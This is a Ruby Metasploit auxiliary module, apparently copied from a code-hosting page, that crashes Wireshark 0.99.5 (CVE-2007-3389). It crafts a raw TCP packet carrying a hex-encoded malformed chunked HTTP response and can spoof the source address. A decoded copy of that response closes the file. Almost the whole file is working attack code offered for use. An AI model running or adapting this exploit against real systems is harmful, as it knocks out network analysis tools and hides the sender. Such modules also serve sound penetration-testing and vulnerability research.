98 lines
5.3 KiB
Ruby
98 lines
5.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'racket'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Capture
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Wireshark chunked_encoding_dissector function DOS',
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'Description' => %q{
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Wireshark crash when dissecting an HTTP chunked response.
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Versions affected: 0.99.5 (Bug 1394)
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},
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'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2007-3389'],
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[ 'OSVDB', '37643'],
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[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394'],
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],
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'DisclosureDate' => 'Feb 22 2007'))
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register_options([
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OptInt.new('SPORT', [true, 'The source port used to send the malicious HTTP response', 80]),
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OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
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], self.class)
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deregister_options('FILTER','PCAPFILE')
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end
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def run
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print_status("Sending packet to #{rhost}")
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open_pcap
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n = Racket::Racket.new
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n.l3 = Racket::L3::IPv4.new
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n.l3.src_ip = datastore['SHOST'] || Rex::Socket.source_address(rhost)
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n.l3.dst_ip = rhost
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n.l3.protocol = 6
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n.l3.id = rand(0x10000)
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n.l3.ttl = 64
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n.l4 = Racket::L4::TCP.new
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n.l4.dst_port = rand(65535)+1
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n.l4.seq = rand(0x100000000)
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n.l4.ack = rand(0x100000000)
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n.l4.flag_psh = 1
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n.l4.flag_ack = 1
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n.l4.src_port = datastore['SPORT'].to_i
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n.l4.window = 3072
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n.l4.payload = "\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x33\x30\x32\x20\x46\x6f\x75\x6e\x64\x0d\x0a\x44\x61\x74\x65\x3a\x20\x54\x68\x75\x2c\x20\x32\x32\x20\x46\x65\x62\x20\x32\x30\x30\x37\x20\x32\x31\x3a\x35\x39\x3a\x30\x33\x20\x47\x4d\x54\x0d\x0a\x53\x65\x72\x76\x65\x72\x3a\x20\x41\x70\x61\x63\x68\x65\x2f\x31\x2e\x33\x2e\x33\x37\x20\x28\x55\x6e\x69\x78\x29\x20\x50\x48\x50\x2f\x34\x2e\x34\x2e\x34\x20\x6d\x6f\x64\x5f\x74\x68\x72\x6f\x74\x74\x6c\x65\x2f\x33\x2e\x31\x2e\x32\x20\x6d\x6f\x64\x5f\x70\x73\x6f\x66\x74\x5f\x74\x72\x61\x66\x66\x69\x63\x2f\x30\x2e\x31\x20\x6d\x6f\x64\x5f\x73\x73\x6c\x2f\x32\x2e\x38\x2e\x32\x38\x20\x4f\x70\x65\x6e\x53\x53\x4c\x2f\x30\x2e\x39\x2e\x36\x62\x20\x46\x72\x6f\x6e\x74\x50\x61\x67\x65\x2f\x35\x2e\x30\x2e\x32\x2e\x32\x36\x33\x35\x0d\x0a\x58\x2d\x50\x6f\x77\x65\x72\x65\x64\x2d\x42\x79\x3a\x20\x50\x48\x50\x2f\x34\x2e\x34\x2e\x34\x0d\x0a\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x0d\x0a\x50\x33\x50\x3a\x20\x70\x6f\x6c\x69\x63\x79\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x77\x33\x63\x2f\x70\x33\x70\x2e\x78\x6d\x6c\x22\x2c\x20\x43\x50\x3d\x22\x4e\x4f\x49\x20\x44\x53\x50\x20\x43\x4f\x52\x20\x4e\x49\x44\x20\x41\x44\x4d\x20\x44\x45\x56\x20\x50\x53\x41\x20\x4f\x55\x52\x20\x49\x4e\x44\x20\x55\x4e\x49\x20\x50\x55\x52\x20\x43\x4f\x4d\x20\x4e\x41\x56\x20\x49\x4e\x54\x20\x53\x54\x41\x22\x0d\x0a\x45\x78\x70\x69\x72\x65\x73\x3a\x20\x54\x68\x75\x2c\x20\x31\x39\x20\x4e\x6f\x76\x20\x31\x39\x38\x31\x20\x30\x38\x3a\x35\x32\x3a\x30\x30\x20\x47\x4d\x54\x0d\x0a\x50\x72\x61\x67\x6d\x61\x3a\x20\x6e\x6f\x2d\x63\x61\x63\x68\x65\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x20\x61\x74\x74\x61\x63\x68\x6d\x65\x6e\x74\x3b\x20\x66\x69\x6c\x65\x6e\x61\x6d\x65\x3d\x53\x74\x61\x74\x43\x6f\x75\x6e\x74\x65\x72\x2d\x4c\x6f\x67\x2d\x32\x32\x38\x37\x35\x39\x32\x2e\x63\x73\x76\x0d\x0a\x53\x65\x74\x2d\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x50\x48\x50\x53\x45\x53\x53\x49\x44\x3d\x64\x37\x35\x65\x64\x39\x37\x36\x66\x30\x30\x39\x64\x61\x31\x31\x38\x65\x62\x36\x31\x34\x62\x39\x38\x66\x64\x35\x62\x39\x31\x36\x25\x33\x42\x2b\x70\x61\x74\x68\x25\x33\x44\x25\x32\x46\x0d\x0a\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x3a\x20\x74\x69\x6d\x65\x6f\x75\x74\x3d\x31\x35\x2c\x20\x6d\x61\x78\x3d\x31\x30\x30\x0d\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0d\x0a\x54\x72\x61\x6e\x73\x66\x65\x72\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x63\x68\x75\x6e\x6b\x65\x64\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d\x0d\x0a\x0d\x0a\x30\x0d\x0a\x0d\x0a"
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n.l4.fix!(n.l3.src_ip, n.l3.dst_ip, '')
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pkt = n.pack
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capture_sendto(pkt, rhost)
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close_pcap
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end
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end
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=begin
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HTTP/1.1 302 Found
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Date: Thu, 22 Feb 2007 21:59:03 GMT
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Server: Apache/1.3.37 (Unix) PHP/4.4.4 mod_throttle/3.1.2 mod_psoft_traffic/0.1 mod_ssl/2.8.28 OpenSSL/0.9.6b FrontPage/5.0.2.2635
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X-Powered-By: PHP/4.4.4
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Location: http://127.0.0.1/index.html
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P3P: policyref="http://127.0.0.1/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
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Expires: Thu, 19 Nov 1981 08:52:00 GMT
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Pragma: no-cache
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Content-Disposition: attachment; filename=StatCounter-Log-2287592.csv
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Set-Cookie: PHPSESSID=d75ed976f009da118eb614b98fd5b916%3B+path%3D%2F
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Keep-Alive: timeout=15, max=100
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Connection: Keep-Alive
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Transfer-Encoding: chunked
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Content-Type: application/octet-stream
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0
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=end
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